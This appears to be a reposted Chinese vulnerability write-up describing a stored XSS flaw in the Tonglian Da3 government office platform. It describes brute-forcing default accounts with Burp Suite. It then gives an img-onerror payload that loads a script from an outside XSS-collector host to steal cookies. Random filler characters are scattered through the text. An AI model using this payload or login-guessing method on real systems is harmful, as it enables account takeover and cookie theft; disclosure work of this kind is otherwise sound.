同联Da3协同办公平台后台通用储存型xss漏洞

admin

4 z; o3 h' V7 r9 A4 Y2 R' e2 k : O" F5 C/ f* V V/ R% g0 U ( u+ Z) g: r2 q/ m7 a; U/ } 8 l6 E" l) d/ ~8 W3 c : C, W6 D, t5 o7 z2 K& c! X3 p& k2 q 3 e/ [2 K* b; x$ [ " q, P0 N# ]% @2 A; Y 0 o4 q! ? Q( X8 ?( P# v4 v

: @% r5 Z+ H5 S" M k" ~; Z- ]* u 同联Da3协同办公平台后台通用储存型xss漏洞

平台简介： 3 Y7 ^6 c9 v- A, Z1 D! J; m

+ I2 y; l0 J% U* T" w. u" L

3 R" O# P2 @: z; n1 z% J( m   # X, ]6 ^, A7 a6 I& Z

1 w& z& D2 n$ [+ N$ m- w7 T( L/ c 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
6 h" T: N2 `2 U: n1 L) w3 N同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 6 X! E6 ]6 c, A

+ t3 ^7 M0 m$ e$ \" c% c   / J4 ]9 x7 ^* g$ b# I" {: H! F/ W

: M6 q2 J, k) B" j0 i I* o6 Y

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 6 W ]' y6 B7 m @

% M' Q. y a# i9 u+ R K

. I! ~. K: j& k  

( }) H& z% S! T7 `/ r5 S9 u9 J http://1.1.1.1:7197/cap-aco/#（案例2-）

- J2 [9 z1 [3 a1 s; Z5 t) q% O http://www.XXOO.com （案例1-官网网站）

漏洞详情:

 案例一、

8 v4 I% P8 n$ J- _4 k/ P5 Q4 ]3 M3 g

' T+ I) j$ n2 G) `2 N( N 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

7 O5 ]+ C) z8 O" J! l% `

$ t. T4 K5 \3 a/ Y9 x      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 2 A; N' V+ W+ ]: I% `$ z; s; ]/ B

; y' Q. q6 F+ @) q* g" E" n! E" t

* {3 M- ~5 W! Q" N" ^0 b  

* p' C( H% K& ]2 i 9 @' i/ Q0 }4 e$ k

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

; B( D2 Q- z) p

9 ]" A4 V9 @4 G4 e% j. u; I% v  

0 w. O d& L! y- _, J' {* o% x `' p; l

1 @% }% D ^" F4 E 4 Q* T7 ~3 i9 W* h5 g" q

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 / y% J1 F. L, l: f- x ^

 

) f$ p& U" @. x$ R/ b- b2 t

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

( r& }2 F) k( o. }

然后发送，接收cookie如图： + t# v `0 n; Z- M ~

% j' X1 r2 y" v% I

  5 R2 P @9 T; a3 Y0 y. z0 _

+ ^/ L) Q. x& ?+ H* ~. C

 

 

9 r& g& i* ]& H& _

  : h/ V, F6 d4 h# W$ W

* D0 |( U0 G+ o( e

3 a* p4 T' ]. c |6 L9 n

# W) g$ B* O1 f9 N) Z1 Z I. ^

m9 u" i% O, X D3 D/ V

5 ^0 _0 i1 z! R% b H& A   8 x2 L! I+ O$ I: m" w4 e

4 c3 n+ r( o& k 案例2、 # e, y! t9 x: T- B: O2 ]$ x

; k+ V% X- v+ h! F" U4 Z6 J4 q/ s

前面步骤都一样，下面看效果图：

! f6 O' m4 Z. \$ P3 `2 s. k9 `- V7 ~

6 [: ^( N$ k9 S% V) R   $ L2 l2 S# J" M0 E* D

) v4 t% e/ i% _6 Y

  - ^# [5 F6 M/ o: J$ c7 J

1 j; W; Q6 ?( ]+ A0 n' N$ h

4 ]! b# z o# K1 t

, P: m% M: r, ]5 j+ H

2 Y: d9 a$ g% R' W! l/ E- |" X  

4 y, ?6 s# ]% M; ^9 R* `

 

8 g* G" |. N1 @$ D! M. I

& D( d- ~0 E3 H7 Z   " a" i2 Q k' ~1 c

* @# s" ]3 c) r1 r/ \( O( x- V   + F. ~# u* f5 G9 P% r, e

/ g5 X; `5 v9 T